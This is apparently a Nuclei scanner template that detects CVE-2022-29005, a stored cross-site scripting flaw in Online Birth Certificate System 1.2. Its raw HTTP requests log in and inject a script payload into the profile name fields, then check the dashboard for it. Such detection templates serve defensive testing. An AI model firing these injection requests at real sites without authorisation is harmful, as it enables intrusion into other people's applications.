id: CVE-2022-29005 info: name: Online Birth Certificate System 1.2 - Stored Cross-Site Scripting author: TenBird severity: medium description: | Online Birth Certificate System 1.2 contains multiple stored cross-site scripting vulnerabilities in the component /obcs/user/profile.php, which allows an attacker to execute arbitrary web script or HTML via a crafted payload injected into the fname or lname parameters. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to potential data theft, session hijacking, or defacement of the website. remediation: | To remediate this issue, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. reference: - https://github.com/sudoninja-noob/CVE-2022-29005/blob/main/CVE-2022-29005.txt - https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/ - https://nvd.nist.gov/vuln/detail/CVE-2022-29005 - http://online.com - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-29005 cwe-id: CWE-79 epss-score: 0.00205 epss-percentile: 0.58459 cpe: cpe:2.3:a:phpgurukul:online_birth_certificate_system:1.2:*:*:*:*:*:*:* metadata: verified: true max-request: 3 vendor: phpgurukul product: online_birth_certificate_system tags: cve,cve2022,xss,obcs,authenticated,phpgurukul variables: str: "{{rand_base(6)}}" http: - raw: - | POST /obcs/user/login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 mobno={{username}}&password={{password}}&login= - | POST /obcs/user/profile.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 fname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit= - | GET /obcs/user/dashboard.php HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'contains(header_3, "text/html")' - 'status_code_3 == 200' - contains(body_3, 'admin-name\">{{str}}') condition: and # digest: 4b0a00483046022100acfc88fbb67d2cd5843df7db44031e80d4a2fd12170e0c9205adb18f6081f720022100c8df692fe6c6ee79c6cf269b63c7fae88c0b48be07ca0fdc16731a06f62d23c1:922c64590222798bb761d5b6d8e72950